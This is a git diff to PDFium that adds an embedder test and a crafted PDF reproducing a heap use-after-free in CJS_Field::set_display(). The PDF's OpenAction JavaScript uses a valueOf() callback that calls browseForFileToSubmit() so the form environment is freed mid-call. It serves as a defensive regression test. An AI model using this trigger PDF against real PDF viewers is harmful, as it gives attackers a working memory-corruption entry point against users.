diff --git a/fxjs/BUILD.gn b/fxjs/BUILD.gn index 870f9386f2..cd9d6643a9 100644 --- a/fxjs/BUILD.gn +++ b/fxjs/BUILD.gn @@ -280,6 +280,7 @@ if (pdf_enable_v8) { pdfium_embeddertest_source_set("embeddertests") { sources = [ "cfxjs_engine_embeddertest.cpp", + "cjs_field_embeddertest.cpp", "cjs_publicmethods_embeddertest.cpp", ] configs = [ "//v8:external_startup_data" ] diff --git a/fxjs/cjs_field_embeddertest.cpp b/fxjs/cjs_field_embeddertest.cpp new file mode 100644 index 0000000000..57e1048104 --- /dev/null +++ b/fxjs/cjs_field_embeddertest.cpp @@ -0,0 +1,75 @@ +// Copyright 2025 The PDFium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +#include "public/fpdf_formfill.h" +#include "testing/embedder_test.h" +#include "testing/gtest/include/gtest/gtest.h" + +namespace { + +// Demonstrates that CJS_Field::set_display() / set_line_width() capture +// |form_fill_env_.Get()| into a register *before* evaluating the sibling +// argument |pRuntime->ToInt32(vp)|, which can run attacker-controlled +// JavaScript via valueOf(). If the embedder destroys the +// CPDFSDK_FormFillEnvironment during that callback, SetDisplay() at +// fxjs/cjs_field.cpp dereferences the dangling pointer. +// +// This test simulates such an embedder by destroying the form environment +// from inside the IPDF_JSPLATFORM::Field_browse callback, which is reachable +// from valueOf() via |field.browseForFileToSubmit()| on a file-select text +// field. The browseForFileToSubmit() return path does not touch pRuntime or +// the env, so control returns cleanly to set_display() which then calls +// SetDisplay() with the stale raw pointer. +// +// Under ASAN this produces heap-use-after-free at +// CPDFSDK_FormFillEnvironment::GetInteractiveForm() called from SetDisplay(). + +class CJSFieldSetDisplayUAFEmbedderTest : public EmbedderTest { + public: + static CJSFieldSetDisplayUAFEmbedderTest* g_self; + + static int FieldBrowseTrampoline(IPDF_JSPLATFORM* platform, + void* file_path, + int length) { + // This runs while CJS_Field::set_display() has already captured + // form_fill_env_.Get() into a register and is mid-way through + // CFX_V8::ToInt32(vp). + if (g_self && !g_self->fired_) { + g_self->fired_ = true; + // Tear down the CPDFSDK_FormFillEnvironment (and CJS_Runtime) the way + // an embedder closing the document during a nested message loop would. + g_self->CloseDocument(); + } + return 0; // Signal "no file" so JS_fieldBrowse() returns early. + } + + bool fired_ = false; +}; + +CJSFieldSetDisplayUAFEmbedderTest* + CJSFieldSetDisplayUAFEmbedderTest::g_self = nullptr; + +} // namespace + +TEST_F(CJSFieldSetDisplayUAFEmbedderTest, SetDisplayArgSequencingUAF) { + g_self = this; + ASSERT_TRUE(OpenDocument("set_display_uaf.pdf")); + + // SetupFormFillEnvironment() zeroed the IPDF_JSPLATFORM struct and only + // installed app_alert; install Field_browse so JS_fieldBrowse() reaches us. + static_cast(this)->Field_browse = FieldBrowseTrampoline; + + // The PDF's /OpenAction runs: + // var f = this.getField("F"); + // f.display = { valueOf: function() { + // f.browseForFileToSubmit(); // -> FieldBrowseTrampoline (frees env) + // return 0; + // }}; + // After ToInt32(vp) returns, set_display() invokes + // SetDisplay(stale_env, field_name_, form_control_index_, 0); + // which dereferences the freed CPDFSDK_FormFillEnvironment. + DoOpenActions(); + + g_self = nullptr; +} diff --git a/testing/resources/set_display_uaf.pdf b/testing/resources/set_display_uaf.pdf new file mode 100644 index 0000000000..8c169021a4 --- /dev/null +++ b/testing/resources/set_display_uaf.pdf @@ -0,0 +1,49 @@ +%PDF-1.6 +%âãÏÓ +1 0 obj +<< /Type /Catalog /Pages 2 0 R /AcroForm 4 0 R /OpenAction 6 0 R >> +endobj +2 0 obj +<< /Type /Pages /Count 1 /Kids [3 0 R] >> +endobj +3 0 obj +<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Annots [5 0 R] >> +endobj +4 0 obj +<< /Fields [5 0 R] >> +endobj +5 0 obj +<< /Type /Annot /Subtype /Widget /FT /Tx /T (F) /Ff 1048576 /Rect [100 100 300 130] /V () >> +endobj +6 0 obj +<< /Type /Action /S /JavaScript /JS 7 0 R >> +endobj +7 0 obj +<< /Length 140 >> +stream + +var f = this.getField("F"); +f.display = { + valueOf: function() { + try { f.browseForFileToSubmit(); } catch (e) {} + return 0; + } +}; + +endstream +endobj +xref +0 8 +0000000000 65535 f +0000000015 00000 n +0000000098 00000 n +0000000155 00000 n +0000000242 00000 n +0000000279 00000 n +0000000387 00000 n +0000000447 00000 n +trailer +<< /Size 8 /Root 1 0 R >> +startxref +638 +%%EOF